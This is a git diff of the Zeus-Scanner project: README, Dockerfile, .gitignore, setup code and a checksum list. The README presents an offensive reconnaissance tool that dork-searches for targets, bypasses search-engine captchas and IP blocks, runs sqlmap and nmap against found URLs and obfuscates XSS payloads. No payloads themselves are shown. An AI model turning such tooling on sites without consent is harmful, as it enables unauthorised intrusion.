+ - Bitcoin (BTC): `3DAQGcAQ194NGVs16Mmv75ip45CVuE8cZy`
+ - [PayPal](https://www.paypal.me/ZeusScanner)
+ - O puedes [Cómpranos un café](https://ko-fi.com/A28355P5)
+ 
+Puede estar seguro de que todas las donaciones se destinarán a la financiación de Zeus para que sea más confiable e incluso mejor, gracias del equipo de desarrollo de Zeus.
+
+### Shoutsouts
+
+##### [Proyectos de OpenSource](https://www.facebook.com/opensourceprojects/)
+
+OpenSource Projects es una página de la comunidad de Facebook cuyo objetivo es brindar a los desarrolladores, nuevos y antiguos, un lugar fácil y simple para compartir sus contribuciones y proyectos de código abierto. Personalmente creo que esta es una idea increíble, sé lo difícil que es hacer que la gente note su código y apoyar a estos tipos al 100%. Continúa y dales un me gusta [aquí](https://www.facebook.com/opensourceprojects/). Compartirán cualquier proyecto de código abierto que les envíe de forma gratuita. ¡Gracias OpenSource Projects por darles a los desarrolladores un lugar para compartir el trabajo entre ellos!
--- a/.gitignore
+++ b/.gitignore
@ -1,3 +1,4 @@
+test.py
 log/
 geckodriver.log
 *.pyc
@ -5,6 +6,17 @@ geckodriver.log
 bin/executed.txt
 bin/paths
 bin/version_info
-checksum.txt
-etc/ip_resolvers.txt
-etc/sub_names.txt
+bin/__pycache__/
+lib/__pycache__/
+lib/attacks/__pycache__/
+lib/attacks/admin_panel_finder/__pycache__/
+etc/deprecated/intel_me/__pycache__/
+lib/attacks/nmap_scan/__pycache__/
+lib/attacks/sqlmap_scan/__pycache__/
+lib/attacks/whois_lookup/__pycache__/
+lib/attacks/xss_scan/__pycache__/
+lib/core/__pycache__/
+var/__pycache__/
+var/auto_issue/__pycache__/
+var/blackwidow/__pycache__/
+var/search/__pycache__/
--- a/34
+++ b/34
@ -0,0 +1,34 @@
+FROM ubuntu:18.10
+
+WORKDIR /app
+
+RUN apt update && \
+	apt install -y \
+	libxml2-dev \
+	libxslt1-dev \
+	libgtk-3-dev \
+	libdbus-glib-1-2 \
+	python-dev \ 
+	python-pip \
+	git \
+	curl \
+	nmap \
+	sqlmap \ 
+	xvfb \
+	&& rm -rf /var/lib/apt/lists/* 
+
+ARG GECKO_DRIVER_VERSION=0.23.0
+ARG FIREFOX_VERSION=58.0.2
+
+RUN git clone https://github.com/ekultek/zeus-scanner.git . && \
+	pip install -r requirements.txt 
+
+RUN curl -L https://github.com/mozilla/geckodriver/releases/download/v${GECKO_DRIVER_VERSION}/geckodriver-v${GECKO_DRIVER_VERSION}-linux64.tar.gz | tar xz -C /usr/bin 
+
+RUN curl -L https://ftp.mozilla.org/pub/firefox/releases/${FIREFOX_VERSION}/linux-$(uname -m)/en-US/firefox-${FIREFOX_VERSION}.tar.bz2 -o firefox.tar.bz2 && \
+	tar xjf firefox.tar.bz2 -C /opt && \
+	rm firefox.tar.bz2 && \
+	ln -s /opt/firefox/firefox /usr/bin/firefox
+
+CMD ["python", "zeus.py"]
+
--- a/README.md
+++ b/README.md
@ -1,15 +1,65 @@
+**_NOTE: due to dumbass people, automatic issue creation has been turned off until further notice_**
+
+----
+
 [![GitHub stars](https://img.shields.io/github/stars/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/stargazers)
 [![GitHub forks](https://img.shields.io/github/forks/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/network) 
 [![GitHub issues](https://img.shields.io/github/issues/ekultek/zeus-scanner.svg?style=flat-square)](https://github.com/ekultek/zeus-scanner/issues) 
 [![GitHub license](https://img.shields.io/badge/license-GPL-blue.svg?style=flat-square)](https://raw.githubusercontent.com/Ekultek/Zeus-Scanner/master/.github/LICENSE.md)
-[![Codacy Badge](https://api.codacy.com/project/badge/Grade/a379f49ccc624c2a9abbd8809f4d1cb7)](https://www.codacy.com/app/Ekultek/Zeus-Scanner?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=Ekultek/Zeus-Scanner&amp;utm_campaign=Badge_Grade)
-[![Twitter](https://img.shields.io/twitter/url/https/github.com/ekultek/zeus-scanner.svg?style=social)](https://twitter.com/Zeus_Scanner)
+[![Twitter](https://img.shields.io/twitter/url/https/github.com/ekultek/zeus-scanner.svg?style=social)](https://twitter.com/stay__salty)
+[![Donate](https://img.shields.io/badge/Donate-PayPal-green.svg)](https://github.com/Ekultek/Zeus-Scanner#donations)
+
+# Helpful links directory
+
+- [Translations](https://github.com/Ekultek/Zeus-Scanner#translations)
+- [What is Zeus](https://github.com/Ekultek/Zeus-Scanner#zeus-scanner)
+- [Zeus's features](https://github.com/Ekultek/Zeus-Scanner#features)
+- [Requirements and installation](https://github.com/Ekultek/Zeus-Scanner#requirements)
+  - [Ubuntu/Debian](https://github.com/Ekultek/Zeus-Scanner#ubuntudebian)
+  - [centOS](https://github.com/Ekultek/Zeus-Scanner#centos)
+  - [Backbox](https://github.com/Ekultek/Zeus-Scanner#backbox)
+  - [other](https://github.com/Ekultek/Zeus-Scanner#others)
+- [Screenshots](https://github.com/Ekultek/Zeus-Scanner#screenshots)
+- [Demo video](https://vimeo.com/239885768)
+- [User manual](https://github.com/Ekultek/Zeus-Scanner/wiki)
+  - [How Zeus works](https://github.com/Ekultek/Zeus-Scanner/wiki/How-Zeus-works)
+  - [Functionality](https://github.com/Ekultek/Zeus-Scanner/wiki/Functionality)
+  - [Passing sqlmap flags with Zeus](https://github.com/Ekultek/Zeus-Scanner/wiki/Passing-flags-to-sqlmap)
+- [Legal information](https://github.com/Ekultek/Zeus-Scanner/tree/master/.github)
+  - [License (GPL)](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/LICENSE.md)
+  - [Code of conduct](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CODE_OF_CONDUCT.md)
+- [Report a bug](https://github.com/Ekultek/Zeus-Scanner/issues/new)
+- [Open a pull request](https://github.com/Ekultek/Zeus-Scanner/compare)
+  - [Contribution guidelines](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/CONTRIBUTING.md)
+- [Donations to Zeus](https://github.com/Ekultek/Zeus-Scanner#donations)
+- [Shoutouts](https://github.com/Ekultek/Zeus-Scanner#shoutouts)

 # Zeus-Scanner

 ### What is Zeus?

-Zeus is a advanced dork searching tool that is capable of bypassing search engine API calls, search engine captchas, and IP address blocking from sending many requests to the search engine itself. Zeus can use three different search engines to do the search (_default is Google_). Zeus has a powerful built in engine, automates a hidden web browser to pull the search URL, and can run sqlmap and nmap scans on the URL's.
+Zeus is an advanced reconnaissance utility designed to make web application reconnaissance simple. Zeus comes complete with a powerful built-in URL parsing engine, multiple search engine compatibility, the ability to extract URLs from both ban and webcache URLs, the ability to run multiple vulnerability assessments on the target, and is able to bypass search engine captchas. 
+
+### Features
+
+ - A powerful built in URL parsing engine
+ - Multiple search engine compatibility (`DuckDuckGo`, `AOL`, `Bing`, and `Google` default is `Google`)
+ - Ability to extract the URL from Google's ban URL thus bypassing IP blocks
+ - Ability to extract from Google's webcache URL
+ - Proxy compatibility (`http`, `https`, `socks4`, `socks5`)
+ - Tor proxy compatibility and Tor browser emulation
+ - Parse `robots.txt`/`sitemap.xml` and save them to a file
+ - Multiple vulnerability assessments (XSS, SQLi, clickjacking, port scanning, admin panel finding, whois lookups, and more)
+ - Tamper scripts to obfuscate XSS payloads
+ - Can run with a custom default user-agent, one of over 4000 random user-agents, or a personal user-agent
+ - Automatic issue creation when an unexpected error arises
+ - Ability to crawl a webpage and pull all the links
+ - Can run a singular dork, multiple dorks in a given file, or a random dork from a list of over 5000 carefully researched dorks
+ - Dork blacklisting when no sites are found with the search query, will save the query to a blacklist file
+ - Identify WAF/IPS/IDS protection of over 20 different firewalls
+ - Header protection enumeration to check what kind of protection is provided via HTTP headers
+ - Saving cookies, headers, and other vital information to log files
+ - and much more...

 ### Screenshots

@ -20,41 +70,114 @@ A basic dork scan with the `-d` flag, from the given dork will launch an automat
 Calling the `-s` flag will prompt for you to start the sqlmap API server `python sqlmapapi.py -s` from sqlmap, it will then connect to the API and perform a sqlmap scan on the found URL's.
 ![zeus-sqlmap-api](https://user-images.githubusercontent.com/14183473/30176259-6657b304-93c7-11e7-81f8-0ed09a6c0268.png)

+You can see more screenshots [here](https://github.com/Ekultek/Zeus-Scanner/wiki/Screenshots)
+
 ### Demo

 [![to_video](https://user-images.githubusercontent.com/14183473/31474224-feb8c022-aebe-11e7-9684-1ba83f4fd7ff.png)
-](https://vimeo.com/237838681)
+](https://vimeo.com/239885768)

 ### Requirements

-There are a few requirements for this:
+There are some requirements for this to be run successfully.

- - Firefox web browser is required as of now, I will be adding the functionality of most web browsers.
+##### Basic requirements
+
+ - `libxml2-dev`, `libxslt1-dev`, `python-dev` are required for the installation process
+ - Firefox web browser is required as of now, you will need Firefox version `<=58 >=52` (between 52 and 58). Full functionality for other browsers will eventually be added.
 - If you want to run sqlmap through the URL's you will need sqlmap somewhere on your system.
 - If you want to run a port scan using nmap on the URL's IP addresses. You will need nmap on your system.
-   - _Highly advised tip_: Add sqlmap and nmap to your ENV PATH
- - Gecko web driver is required and will be installed the first time you run. It will be added to your `/usr/bin` so that it can be run in your ENV PATH.
- - You must be `sudo` for the first time running this so that you can add the driver to your PATH 
- - `selenium-webdriver` package is required to automate the web browser and bypass API calls.
- - `requests` package is required to connect to the URL, and the sqlmap API
- - `python-nmap` package is required to run nmap on the URL's IP addresses
- - `whichcraft` package is required to check if nmap and sqlmap are on your system if you want to use them
- - `pyvirtualdisplay` package is required to hide the browser display while finding the search URL
- - `xvfb` is required by pyvirtualdisplay, it will be installed if not installed on your first run
-
-### Installing
-
-To install Zeus you simply need to do the following:
+ - [Geckodriver](https://github.com/mozilla/geckodriver) is required to run the firefox web browser and will be installed the first time you run. It will be added to your `/usr/bin` so that it can be run in your ENV PATH.
+ - You must be `sudo` for the first time running this so that you can add the driver to your PATH, you also may need to run as `sudo` depending on your permissions. _NOTE:_ `Depending on permissions you may need to be sudo for any run involving the geckodriver`
+ - `xvfb` is required by `pyvirtualdisplay`, it will be installed if not installed on your first run 
 
- - **_(optional but highly advised)_** add sqlmap and nmap to your environment PATH by moving them to `/usr/bin` or by adding them to the PATH via terminal
- - Clone the repository `git clone https://github.com/Ekultek/Zeus-Scanner.git`
- - `cd` into zeus-scanner 
- - Run `pip install -r requirements.txt`
- - For your first run, run `sudo python zeus.py`
+##### Python package requirements

-This will install all the package requirements along with the gecko web driver
+ - [selenium-webdriver](http://www.seleniumhq.org/projects/webdriver/) package is required to automate the web browser and bypass API calls.
+ - [requests](http://docs.python-requests.org/en/master/) package is required to connect to the URL, and the sqlmap API
+ - [python-nmap](http://xael.org/pages/python-nmap-en.html) package is required to run nmap on the URL's IP addresses
+ - [whichcraft](https://github.com/spookyowl/witchcraft) package is required to check if nmap and sqlmap are on your system if you want to use them
+ - [pyvirtualdisplay](https://pyvirtualdisplay.readthedocs.io/en/latest/) package is required to hide the browser display while finding the search URL
+ - [lxml](https://lxml.readthedocs.io/en/latest/) is required to parse XML data for the sitemap and save it as such
+ - [psutil](https://github.com/giampaolo/psutil) is required to search for running sqlmap API sessions
+ - [beautifulsoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) is required to pull all the HREF descriptor tags and parse the HTML into an easily workable syntax
+
+### Installation
+
+You can download the latest [tar.gz](https://github.com/ekultek/zeus-scanner/tarball/master), the latest [zip](https://github.com/ekultek/zeus-scanner/zipball/master), or you can find the current stable release [here](https://github.com/Ekultek/Zeus-Scanner/releases/tag/v1.5). Alternatively you can install the latest development version by following the instructions that best match your operating system:
+
+**_NOTE: (optional but highly advised)_** add sqlmap and nmap to your environment PATH by moving them to `/usr/bin` or by adding them to the PATH via terminal
+
+##### Ubuntu/Debian
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev &&  git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+``` 
+ 
+##### centOS
+
+```
+sudo apt-get install gcc python-devel libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+#### Backbox
+
+64 bit installation:
+```
+sudo -s << EOF
+aptitude purge firefox
+wget https://ftp.mozilla.org/pub/firefox/releases/57.0/linux-x86_64/en-US/firefox-57.0.tar.bz2
+tar -xjf firefox-57.0.tar.bz2
+rm -rf /opt/firefox*
+mv firefox /opt/firefox57
+mv /usr/bin/firefox /usr/bin/firefoxold
+ln -s /opt/firefox57/firefox-bin /usr/bin/firefox
+apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && pip2 install -r requirements.txt && python zeus.py
+EOF
+```
+
+32 bit installation:
+```
+sudo -s << EOF
+aptitude purge firefox
+wget https://ftp.mozilla.org/pub/firefox/releases/57.0/linux-i686/en-US/firefox-57.0.tar.bz2
+tar -xjf firefox-57.0.tar.bz2
+rm -rf /opt/firefox*
+mv firefox /opt/firefox57
+mv /usr/bin/firefox /usr/bin/firefoxold
+ln -s /opt/firefox57/firefox-bin /usr/bin/firefox
+apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && pip2 install -r requirements.txt && python zeus.py
+EOF
+```
+
+##### Others
+
+```
+sudo apt-get install libxml2-dev libxslt1-dev python-dev && git clone https://github.com/ekultek/zeus-scanner.git && cd zeus-scanner && sudo pip2 install -r requirements.txt && sudo python zeus.py
+```
+
+This will install all the package requirements along with the geckodriver


 ### Donations

-If you like Zeus and feel like buying me a coffee or a beer, donations are gladly accepted via BTC `3DAQGcAQ194NGVs16Mmv75ip45CVuE8cZy` no pressure but I really like beer..
+Zeus is created by a small team of developers that have an aspiration for information security and a strive to succeed. If you like Zeus and want to donate to our funding, we gladly and appreciatively accept donations via:
+
+ - Bitcoin(BTC): `3DAQGcAQ194NGVs16Mmv75ip45CVuE8cZy`
+ - [PayPal](https://www.paypal.me/ZeusScanner)
+ - Or you can [Buy us a coffee](https://ko-fi.com/A28355P5)
+ 
+You can be assured that all donations will go towards Zeus funding to make it more reliable and even better, thank you from the Zeus development team
+
+### Shoutouts
+
+##### [OpenSource Projects](https://www.facebook.com/opensourceprojects/)
+
+OpenSource Projects is a Facebook community page who's goal is to give developers, new and old, a easy and simple place to share their opensource contributions and projects. I personally think this is an awesome idea, I know how hard it is to get your code noticed by people and support these guys 100%. Go ahead and give them a like [here](https://www.facebook.com/opensourceprojects/). They will share any opensource project you send them for free. Thank you OpenSource Projects for giving developers a place to share work with one another!
+
+
+### Translations
+ 
+ - [Spanish](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/translations/README-spanish.md)
+ - [Russian](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/translations/README-russian.md)
+ - [French](https://github.com/Ekultek/Zeus-Scanner/blob/master/.github/translations/README-french.md)
--- a/bin/unzip_gecko.py
+++ b/bin/unzip_gecko.py
@ -1,5 +1,9 @@
 import os
+import sys
+import time
+import shlex
 import platform
+import threading
 import subprocess
 import tarfile
 try:
@ -9,9 +13,31 @@ except ImportError:

 import whichcraft

+import lib.core.common
 import lib.core.settings


+stop_animation = False
+xvfb_path = "{}/etc/scripts/install_xvfb.sh".format(os.getcwd())
+
+
+def animation(text):
+    global stop_animation
+    i = 0
+    while not stop_animation:
+        temp_text = list(text)
+        if i >= len(temp_text):
+            i = 0
+        temp_text[i] = temp_text[i].upper()
+        temp_text = ''.join(temp_text)
+        sys.stdout.write("\033[92m{}\r\033[0m".format(temp_text))
+        sys.stdout.flush()
+        i += 1
+        time.sleep(0.1)
+    else:
+        pass
+
+
 def disclaimer():
    question = raw_input(
        "\033[91mAttacking targets without consent is not only illegal, but it "
@ -27,12 +53,26 @@ def disclaimer():
    else:
        lib.core.settings.logger.fatal(lib.core.settings.set_color(
            "you have not agreed with the terms of service, so "
-            "Zeus will shut down now...", level=50
+            "Zeus will shut down now", level=50
        ))
        return False


+def parse_hosts(filepath="/etc/hosts"):
+    to_append = "127.0.0.1\tlocalhost"
+    appened = False
+    with open(filepath, "a+") as etc:
+        for line in etc:
+            if line.strip() == to_append:
+                appened = True
+        if not appened:
+            etc.seek(0)
+            etc.write(to_append + "\n")
+
+
 def find_tools(to_search=("sqlmap", "nmap"), directory="{}/bin/paths", filename="path_config.ini"):
+    global stop_animation
+
    lib.core.settings.create_dir(directory.format(os.getcwd()))
    full_path = "{}/{}".format(
        directory.format(os.getcwd()),
@ -49,7 +89,9 @@ def find_tools(to_search=("sqlmap", "nmap"), directory="{}/bin/paths", filename=
            path_schema[item] = None
    for key, value in path_schema.iteritems():
        if value is None:
-            provided_path = lib.core.settings.prompt(
+            stop_animation = True
+            print("\n")
+            provided_path = lib.core.common.prompt(
                "what is the full path to {} on your system".format(key)
            )
            path_schema[key] = provided_path
@ -65,15 +107,25 @@ def config_gecko_version(browser_version):
    figure out which gecko version you need
    """
    version_specs = {
-        (56,): 19,
-        (55, 54): 18,
-        (53, 52, 51): 17
+        (57, 58): 19,
+        (56, 55, 54): 18,
+        (53, 52): 17
    }
-    major = browser_version[0]
-    for key in version_specs.keys():
-        for num in key:
-            if num == major:
-                return version_specs[key]
+    if isinstance(browser_version, (tuple, list, set)):
+        major = browser_version[0]
+        for key in version_specs.keys():
+            for num in key:
+                if num == major:
+                    return version_specs[key]
+    else:
+        if "." in browser_version:
+            major = browser_version.split(".")[0]
+        else:
+            major = browser_version
+        for key in version_specs.keys():
+            for num in key:
+                if num == int(major):
+                    return version_specs[key]


 def check_os(current=platform.platform()):
@ -89,11 +141,13 @@ def check_xvfb(exc="Xvfb"):
    """
    test for xvfb on the users system
    """
+    global xvfb_path
+    global stop_animation
    if whichcraft.which(exc) is None:
-        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "installing Xvfb, required by pyvirutaldisplay..."
-        ))
-        subprocess.call(["sudo", "apt-get", "install", "xvfb"])
+        cmd = shlex.split("sudo sh {}".format(xvfb_path))
+        subprocess.call(cmd)
+        stop_animation = True
+
    else:
        return True

@ -113,49 +167,45 @@ def check_if_run(file_check="{}/bin/executed.txt"):
            return True


-def untar_gecko(filename="{}/bin/drivers/geckodriver-v0.{}.0-linux{}.tar.gz", verbose=False):
+def untar_gecko(filename="{}/bin/drivers/geckodriver-v0.{}.0-linux{}.tar.gz"):
    """
    untar the correct gecko driver for your computer architecture
    """
+    global stop_animation
+
    arch_info = {"64bit": "64", "32bit": "32"}
    file_arch = arch_info[platform.architecture()[0]]
-    ff_version = lib.core.settings.get_browser_version()
+    ff_version = lib.core.settings.get_browser_version(output=False)
+    if isinstance(ff_version, str) or ff_version is None:
+        stop_animation = True
+        ff_version = lib.core.common.prompt(
+            "enter your firefox browser version (if you don't know it run firefox --version)"
+        )
    gecko_version = config_gecko_version(ff_version)
    if gecko_version is None:
+        stop_animation = True
        lib.core.settings.logger.fatal(lib.core.settings.set_color(
-            "your current firefox version is not supported by Zeus...", level=50
+            "your current firefox version is not supported by Zeus", level=50
        ))
-        lib.core.settings.shutdown()
+        lib.core.common.shutdown()
    gecko_full_filename = filename.format(os.getcwd(), gecko_version, file_arch)
    with open(lib.core.settings.GECKO_VERSION_INFO_PATH, "a+") as log:
        log.write(gecko_full_filename.split("/")[-1])
    tar = tarfile.open(filename.format(os.getcwd(), gecko_version, file_arch), "r:gz")
-    if verbose:
-        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "extracting the correct driver for your architecture '{}...", level=10
-        ))
    try:
        tar.extractall("/usr/bin")
-        if verbose:
-            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "driver extracted into /usr/bin (you may change this, but ensure that it "
-                "is in your PATH)...", level=10
-            ))
    except IOError as e:
        if "Text file busy" in str(e):
-            lib.core.settings.logger.info(lib.core.settings.set_color(
-                "the driver is already installed..."
-            ))
            tar.close()
            pass
    except Exception as e:
        if "[Errno 13] Permission denied: '/usr/bin/geckodriver'" in str(e):
            lib.core.settings.logger.exception(lib.core.settings.set_color(
-                "first run must be ran as root (sudo python zeus.py)...", level=50
+                "first run must be ran as root (sudo python zeus.py)", level=50
            ))
        else:
            lib.core.settings.logger.exception(lib.core.settings.set_color(
-                "ran into exception '{}', logged to current log file...".format(e), level=50
+                "ran into exception '{}', logged to current log file".format(e), level=50
            ))
        exit(-1)
    tar.close()
@ -165,10 +215,6 @@ def ensure_placed(item="geckodriver", verbose=False):
    """
    use whichcraft to ensure that the driver has been placed in your PATH variable
    """
-    if verbose:
-        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "ensuring that the driver exists in your system path...", level=10
-        ))
    if not whichcraft.which(item):
        lib.core.settings.logger.fatal(lib.core.settings.set_color(
            "the executable '{}' does not appear to be in your /usr/bin PATH. "
@ -177,10 +223,6 @@ def ensure_placed(item="geckodriver", verbose=False):
        ))
        exit(-1)
    else:
-        if verbose:
-            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "driver exists, continuing...", level=10
-            ))
        return True


@ -188,38 +230,28 @@ def main(rewrite="{}/bin/executed.txt", verbose=False):
    """
    main method
    """
-    if verbose:
-        lib.core.settings.logger.debug(lib.core.settings.set_color(
-            "verifying operating system...", level=10
-        ))
    if not check_os():
        raise NotImplementedError(lib.core.settings.set_color(
            "as of now, Zeus requires Linux to run successfully "
            "your current operating system '{}' is not implemented "
-            "yet...".format(platform.platform()), level=50
+            "yet".format(platform.platform()), level=50
        ))
    if check_if_run():
        if not disclaimer():
            exit(1)
-        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "seems this is your first time running the appication, "
-            "doing setup please wait..."
-        ))
-        if verbose:
-            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "checking if xvfb is on your system...", level=10
-            ))
+        t = threading.Thread(target=animation, args=(
+            "seems this is your first time running the application, doing setup please wait..",))
+        t.daemon = True
+        t.start()
        find_tools()
        check_xvfb()
-        untar_gecko(verbose=verbose)
+        untar_gecko()
+        parse_hosts()
        if ensure_placed(verbose=verbose):
            with open(rewrite.format(os.getcwd()), "w") as rw:
                rw.write("TRUE")
        lib.core.settings.logger.info(lib.core.settings.set_color(
-            "done, continuing process..."
+            "done, continuing process"
        ))
    else:
-        if verbose:
-            lib.core.settings.logger.debug(lib.core.settings.set_color(
-                "already ran, skipping...", level=10
-            ))
+        pass
--- a/etc/checksum/md5sum.md5
+++ b/etc/checksum/md5sum.md5
@ -1,57 +1,119 @@
-9874a6fea201b6c9a9105c61256c0335  ./zeus.py
+685a20fa3fc7652b5c3e39821cdc6f25  ./zeus.py
+4b32db388e8acda35570c734d27c950c  ./etc/scripts/launch_sqlmap.sh
 6ad5f22ec4a6f8324bfb1b01ab6d51ec  ./etc/scripts/cleanup.sh
+869025acb457dc881e53e440aa11dd7b  ./etc/scripts/reinstall.sh
 155c9482f690f1482f324a7ffd8b8098  ./etc/scripts/fix_pie.sh
-0e435c641bc636ac0b3d54e032d9cf6a  .etc/scripts/install_nmap.sh
-4b32db388e8acda35570c734d27c950c  .etc/scripts/launch_sqlmap.sh
-642a77905d8bb4e5533e0e9c2137c0fa  ./etc/agents.txt
+0e435c641bc636ac0b3d54e032d9cf6a  ./etc/scripts/install_nmap.sh
+440431165b2db8a537c1a93cb2232f16  ./etc/scripts/install_xvfb.sh
 66b11aa388ea909de7b212341259a318  ./etc/auths/git_auth
 8f686b05c5c5dfc02f0fcaa7ebc8677c  ./etc/auths/whois_auth
-82cc68f46539d0255f7ce14cd86cd49b  ./etc/link_ext.txt
-75b485c7a5c6daa22a65794da4109ddc  ./etc/dorks.txt
-24783774ac3282a3169e35a4ac713b40  ./etc/xss_payloads.txt
+d3ad89703575a712a0aeead2b176d8c5  ./etc/html/clickjacking_test_page.html
+642a77905d8bb4e5533e0e9c2137c0fa  ./etc/text_files/agents.txt
+82cc68f46539d0255f7ce14cd86cd49b  ./etc/text_files/link_ext.txt
+c57ac34fe965961917ac8a207df256d5  ./etc/text_files/dorks.txt
+cf85d83da34d70720193d83950c31fdc  ./etc/text_files/xss_payloads.txt
+6cabeb9919d2301efc4ba3d8869282d6  ./etc/checksum/md5sum.md5
+5250f0aa13b8af4775efa506e77de1ce  ./etc/xml/headers.xml
 d41d8cd98f00b204e9800998ecf8427e  ./bin/__init__.py
-a19ac607db04a68fdbfc81d6c5a000d1  ./bin/unzip_gecko.py
+3be7ee6f4267e0d0cf2143b58792527b  ./bin/paths/path_config.ini
+fa5084cc7ee56ff2df8631b76be5be4d  ./bin/unzip_gecko.py
+c0d83f0b82a6b30de8811e69e6d95c61  ./bin/executed.txt
 dc1eb4ebe0f372af48b5a9c107ebc68d  ./bin/drivers/geckodriver-v0.18.0-linux32.tar.gz
 be18faeea6e7db9db6990d8667e2298f  ./bin/drivers/geckodriver-v0.17.0-linux64.tar.gz
 79b1a158f96d29942a111c0905f1c807  ./bin/drivers/geckodriver-v0.17.0-linux32.tar.gz
 ca6935a72fd0527d15a78a17a35e56e8  ./bin/drivers/geckodriver-v0.19.0-linux64.tar.gz
 4ccb56fb3700005c9f9188f84152f21a  ./bin/drivers/geckodriver-v0.18.0-linux64.tar.gz
 07cd383c8aef8ea5ef194a506141afd6  ./bin/drivers/geckodriver-v0.19.0-linux32.tar.gz
-9a3eea24ffb08eaa221eb3e951e9e7c2  ./lib/tamper_scripts/obfuscateordinal_encode.py
+145e4a7dc985e99962dabe3b221fc51e  ./lib/tamper_scripts/obfuscateordinal_encode.py
 10bf1bc4ef0287d31633148fab557e8a  ./lib/tamper_scripts/uppercase_encode.py
-99f284510464fcec513b60cb8f47f8f0  ./lib/tamper_scripts/hex_encode.py
-0f10c80fab66f40d2d79efb75f26283c  ./lib/tamper_scripts/url_encode.py
+fcef22874b6732fd1b1bd062e18e65db  ./lib/tamper_scripts/hex_encode.py
+1537b3b94566aebf0f89bed074e96581  ./lib/tamper_scripts/url_encode.py
 d41d8cd98f00b204e9800998ecf8427e  ./lib/tamper_scripts/__init__.py
 7b636a332b2e99547ec9565d8e094308  ./lib/tamper_scripts/unicode_encode.py
 07a792bccd13f64873a27aee4aaa8ea6  ./lib/tamper_scripts/space2comment_encode.py
 1053a0c89e514d2c94bc822d34715896  ./lib/tamper_scripts/randomcase_encode.py
 349c30cbab4308bd94829d92b4e34f9d  ./lib/tamper_scripts/lowercase_encode.py
-a1058d4e0b82d6311bad7e9339d18bec  ./lib/tamper_scripts/enclosebrackets_encode.py
-623da62094be61778977fc75d2b99479  ./lib/tamper_scripts/base64_encode.py
-c10fdf73c2b655e07d13ac8103bd321e  ./lib/tamper_scripts/space2null_encode.py
+0c5e78674a8d27e7c20af1dca8656789  ./lib/tamper_scripts/enclosebrackets_encode.py
+5824916df46428a8304ee0156bcee989  ./lib/tamper_scripts/multispace2comment_encode.py
+9fd42d65993aa20d1bf5acbc4d042d2e  ./lib/tamper_scripts/base64_encode.py
+f77b7a9a19b94e26903eeecf5a787ea3  ./lib/tamper_scripts/space2null_encode.py
 3b8c95a6a3b7cecce5118f2fb1ccc6b8  ./lib/tamper_scripts/appendnull_encode.py
+8e8792e38649f18d90bb0084202bb59e  ./lib/tamper_scripts/obfuscateentity_encode.py
 d41d8cd98f00b204e9800998ecf8427e  ./lib/__init__.py
+6299b188a730844954044887f528435a  ./lib/firewall/cloudfront.py
+d41d8cd98f00b204e9800998ecf8427e  ./lib/firewall/__init__.py
+81a29a14d72980a306fbaec0dc772048  ./lib/firewall/fortigate.py
+d4986f3d95a773d7c3585b07bcd6310e  ./lib/firewall/sucuri.py
+763af6773e920d6bdc185f5bd4df6084  ./lib/firewall/dw.py
+e4514021485dbb94c3f0023b04af01ad  ./lib/firewall/aws.py
+eb3a3066efbcf87dbc10a49be445cb8f  ./lib/firewall/urlscan.py
+71744d7a95f42063a8fb6e720932cd3d  ./lib/firewall/sonicwall.py
+7af3ee8615c7dc761f050e0ba638eaef  ./lib/firewall/armor.py
+1f303641d59686d544f2986ff74c6b31  ./lib/firewall/webseal.py
+78e6b01feb9bad68c2fc8a79e75930fd  ./lib/firewall/yundun.py
+e4eef006dd909c222b1b9f48826c3ef5  ./lib/firewall/pk.py
+bf5285dc059c761e1719bc734ae8504f  ./lib/firewall/varnish.py
+6b370050b40d8c1d2221424f756c7842  ./lib/firewall/paloalto.py
+73c1727e604ec6e00541687bfc64c0d6  ./lib/firewall/akamai.py
+6bbe2f6f6a2a1ddf0e416e94ec1f0763  ./lib/firewall/siteguard.py
+787e21ed577ff05b095aa0f0e5e5e9bf  ./lib/firewall/cloudflare.py
+c3f01fc8ff7dfe7759f63bf16b00f127  ./lib/firewall/wordfence.py
+2f0a935d2bb9b8aa711e511f48595a81  ./lib/firewall/powerful.py
+bbd8b4c6100070d420d48dc7dfc297eb  ./lib/firewall/webknight.py
+54815706261c32b57fbbdc99244b5cdd  ./lib/firewall/modsecurity.py
+9070b43428bd17fd5faf86995cb559a2  ./lib/firewall/stringray.py
+5ee20e2c158d0734b4dd5a8eb47f8ea5  ./lib/firewall/squid.py
+95b908a21c0ff456ae59df4c6c189c54  ./lib/firewall/wallarm.py
+cb45428e92485b759ff5cb46a0be9c73  ./lib/firewall/yunsuo.py
+8fc8d62377bebbfa7ca4d70a79eab115  ./lib/firewall/bigip.py
+6ea65a0160c21e144e92334acc2e3667  ./lib/firewall/anquanbao.py
+22a0ad8f2fa1a16b651cb5ae37ca9b0d  ./lib/firewall/generic.py
+ed18ed1f72f3887e63fa7ce060841e4a  ./lib/plugins/aardvark.py
+a8b3e6924bab72607b1d1c1a8dcb561d  ./lib/plugins/4d.py
+03355a122c047dc598fc271620119978  ./lib/plugins/jquery.py
+d41d8cd98f00b204e9800998ecf8427e  ./lib/plugins/__init__.py
+353db8b22c031433ea73a12943927557  ./lib/plugins/clipbucket.py
